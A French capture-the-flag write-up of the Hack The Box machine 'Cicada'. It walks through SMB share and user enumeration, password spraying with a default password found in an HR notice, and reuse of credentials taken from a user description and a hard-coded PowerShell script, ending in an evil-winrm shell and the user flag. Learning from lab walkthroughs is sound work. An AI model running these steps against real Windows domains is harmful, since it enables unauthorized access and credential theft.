

Writeup Cicada

Hamid Zenine

February 23, 2025

Contents

1	Introduction	2
2	Writeup	2
2.1	Mise en place	2
2.2	Énumération	2
3	Foothold (Obtention d'un accès initial)	7
4	Élévation de privilèges	9

1 Introduction

Cette machine a été créée par *theblxckcicada* et elle met en avant des vulnérabilités spécifiques:

- Enumération SMB révélant plusieurs partages accessibles sans authentification.
- Des documents trouvés contiennent des mots de passe par défaut non modifiés.

2 Writeup

Dans cette section, je vais détailler les étapes nécessaires pour résoudre la machine de bout en bout. Chaque commande est présentée avec son résultat ou une capture d'écran pour guider le lecteur.

2.1 Mise en place

On commence par lancer la machine et se connecter au VPN de HTB, et rajouter l'adresse de la machine au fichier `/etc/hosts`

```
sudo openvpn --config $PATH_TO_OVPN_FILE --daemon
ping -c 1 10.10.11.35
echo "10.10.11.35 cicada.htb" | sudo tee -a /etc/hosts
```

2.2 Énumération

Cette phase commence par un scan Nmap :

```
nmap -p- -oN nmap_initial_scan_tcp 10.10.11.35
```

Explication de la commande:

La commande `nmap` est utilisée pour scanner les ports d'une machine cible et découvrir des informations sur les services qui y sont exécutés. Voici les options utilisées dans cette commande :

Options:

- **-p-** : Scanne tous les ports TCP (de 1 à 65535).
- **-oN nmap_initial_scan_tcp** : Enregistre les résultats du scan dans un fichier texte

Objectif du scan:

Cette commande est utilisée pour obtenir une vue d'ensemble des ports ouverts sur la machine cible, ainsi que des informations détaillées sur les services qui y sont exécutés.

Resultat du scan:

PORT	STATE	SERVICE
53/tcp	open	domain
88/tcp	open	kerberos-sec
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	http-rpc-epmap
636/tcp	open	ldapssl
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl
5985/tcp	open	wsman
51019/tcp	open	unknown

On trouve beaucoup de ports, pour la plupart spécifiques à Windows,

- **53/tcp (domain)** : Utilisé pour le service DNS (Domain Name System).
- **88/tcp (kerberos-sec)** : Port utilisé par le service Kerberos pour l'authentification sécurisée dans les environnements Windows.
- **135/tcp (msrpc)** : Utilisé par le service Microsoft RPC pour la communication entre machines.
- **139/tcp (netbios-ssn)** : Utilisé par NetBIOS pour le partage de fichiers et de ressources dans les réseaux locaux Windows.
- **389/tcp (ldap)** : Port utilisé par le service LDAP pour l'accès et la gestion des annuaires d'informations (comme Active Directory).

- **445/tcp (microsoft-ds)** : Utilisé par le service SMB (Server Message Block) pour le partage de fichiers et de ressources dans Windows.
- **464/tcp (kpasswd5)** : Utilisé par Kerberos pour le changement de mots de passe via le protocole sécurisé.
- **593/tcp (http-rpc-epmap)** : Port utilisé pour l'accès à des services RPC (Remote Procedure Call).
- **636/tcp (ldapssl)** : Version sécurisée du port LDAP utilisant SSL/TLS pour sécuriser les connexions.
- **3268/tcp (globalcatLDAP)** : Utilisé pour l'accès au service Global Catalog LDAP, qui permet de rechercher des informations dans un annuaire Active Directory.
- **3269/tcp (globalcatLDAPssl)** : Version sécurisée du port Global Catalog LDAP avec SSL/TLS.
- **5985/tcp (wsman)** : Utilisé pour Windows Remote Management, permettant la gestion à distance des machines Windows via HTTP.
- **51019/tcp (unknown)** : Port inconnu.

On s'intéresse de plus près au SMB, vu que c'est le vecteur d'attaque le plus répandu sur les machines Windows.

Pour simplifier la suite, il faudra expliquer en bref ce qu'est le SMB.

Le **Server Message Block (SMB)** est un protocole utilisé pour le partage de fichiers et d'imprimantes sur un réseau local, notamment dans les systèmes Windows. Il utilise le port **445/tcp** (et **139/tcp** dans les anciennes configurations).

Il existe en trois versions:

- **SMB 1.0** : Obsolète et vulnérable.
- **SMB 2.0** : Amélioration de la performance.
- **SMB 3.0** : Sécurisé avec chiffrement de bout en bout.

Risques de sécurité

Les versions anciennes comme SMBv1 sont vulnérables aux attaques, notamment *WannaCry*.

Un concept important à savoir sur le SMB est la notion de **users** et de **shares**:

- **Users** : Ce sont des utilisateurs authentifiés ayant des droits d'accès aux ressources. Chaque utilisateur a des permissions spécifiques.
- **Shares** : Ce sont des ressources (fichiers, dossiers, imprimantes) rendues accessibles sur le réseau.

Ainsi pour enumerer le SMB j'utilise un outil qui s'appelle **netexec**

```
netexec smb 10.10.11.35 -u guest -p '' --shares
```

Explication de la commande:

La commande **netexec smb** est utilisée pour interagir avec un service SMB sur une machine cible. Voici les options utilisées dans cette commande :

Options:

- **-u guest** : Spécifie le nom d'utilisateur à utiliser.
- **-p ''** : Spécifie le mot de passe de l'utilisateur.
- **--shares** : Liste les shares (partages) disponibles sur la machine cible.

Objectif de la commande:

Cette commande permet d'interroger la machine cible pour récupérer des informations sur les partages SMB disponibles.

Resultat:

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
DEV		
HR	READ	
IPC\$	READ	Remote IPC
NETLOGON		Logon server share
SYSVOL		Logon server share

De la meme façon essaye de recuperer les users:

```
netexec smb 10.10.11.35 -u guest -p '' --users --rid -brute
```

Resultat:

```
1000: CICADA\CICADA-DC$ (SidTypeUser)
1101: CICADA\DnsAdmins (SidTypeAlias)
1102: CICADA\DnsUpdateProxy (SidTypeGroup)
1103: CICADA\Groups (SidTypeGroup)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1109: CICADA\Dev Support (SidTypeGroup)
1601: CICADA\emily.oscars (SidTypeUser)
```

On a maintenant une liste de users (rien a signaler dedans), et une liste de shares. Une des shares pourrait etre interessante: **HR**. On essaye donc de l'explorer.

```
---(saumoneta@ThinkPad)-[~/Etudes_S2/HTB_writeups/Cicada]
$ smbclient \\\10.10.11.35\HR
Password for [WORKGROUP\saumoneta]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Thu Mar 14 13:29:09 2024
..               D          0  Thu Mar 14 13:21:29 2024
Notice from HR.txt A       1266 Wed Aug 28 19:31:48 2024
4168447 blocks of size 4096. 438548 blocks available
smb: \> mget *
Get file Notice from HR.txt? y
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1,8 KiloBytes/sec) (average 1,8 KiloBytes/sec)
smb: \> exit
```

On se retrouve donc avec un fichier **Notice from HR.txt** qui contient un mot de passe par default.

```
Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corp*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
```

3 Foothold (Obtention d'un accès initial)

On essaye de faire du "brute force"; autrement dit essayer ce mot de passe sur la liste d'utilisateurs qu'on a récupéré juste avant.

Une petite recherche sur internet me met sur la piste de **nxc** qui permet justement de faire ça.

```
nxc smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*  
@Lp#nZp!8'
```

Resultat:

```
[-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp  
!8 STATUS_LOGON_FAILURE  
[-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp  
!8 STATUS_LOGON_FAILURE  
[+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#  
nZp!8
```

On a donc des credentials: **michael.wrightson:Cicada\$M6Corpb*@Lp#nZp!8**

J'essaye si je peux me connecter en utilisant le protocole **WinRM**¹ avec **evil-winrm**², mais ça ne marche pas.

J'essaye de me connecter au différentes shares (DEV et HR) mais sans succes.

On refait une enumeration SMB avec

```
netexec smb 10.10.11.35 -u michael.wrightson -p '  
Cicada$M6Corpb*@Lp#nZp!8' --users --rid-brute
```

¹WinRM (**Windows Remote Management**) est un protocole Microsoft permettant l'administration à distance de machines Windows.

²**Evil-WinRM** est un outil de pentesting utilisé pour établir une connexion à distance avec une machine Windows via le service **WinRM**. Il permet d'exécuter des commandes sur des machines distantes Windows.

Resultat:

```
Administrator      Built-in account for
                    administering the computer/domain
Guest               Built-in account for guest access to the
                    computer/domain
krbtgt              Key Distribution Center Service Account
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious Just in case I forget my password is
                  aRt$Lp#7t*VQ!3
emily.oscars
```

On a donc ce qui paraît être un mot de passe.
j'essaie de me connecter aux shares DEV et HR. et ça marche avec DEV
et on y trouve un script powershell.

```
(saumoneta@ThinkPad)-[~/Etudes_S2/HTB_writeups/Cicada]
$ smbclient \\\\10.10.11.35\\DEV -U david.orelious
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
.                  D          0  Thu Mar 14 13:31:39 2024
..                 D          0  Thu Mar 14 13:21:29 2024
Backup_script.ps1  A        601  Wed Aug 28 19:28:22 2024

4168447 blocks of size 4096. 434920 blocks available
smb: \> mget *
Get file Backup_script.ps1? y
```

En analysant le script on s'aperçoit qu'il sert à faire une backup du dossier **smb** dans une archive, tout ça en étant connecté en tant que **emily.oscars**. Par miracle son mot de passe est hard-codé.

```
$ cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

J'essaie cette fois de me connecter avec WinRM et ça marche.


```
(saumoneta@ThinkPad):[~/Etudes_S2/MTB_writeups/Cicada]
└─$ evil-winrm -i 10.10.11.35 -u emily.oscars
Enter Password:

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls

Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                LastWriteTime         Length Name
----                -
-qr---          2/17/2025   6:09 PM             34 user.txt

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> more user.txt
9e9d08300a5d1e0ca304481f41a5df3b
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> |
```

4 Élévation de privilèges

(Sur cette partie, je n'ai pas pu la faire avant qu'elle soit retiré et qu'une solution soit postée donc je ne voit pas l'interet de la faire)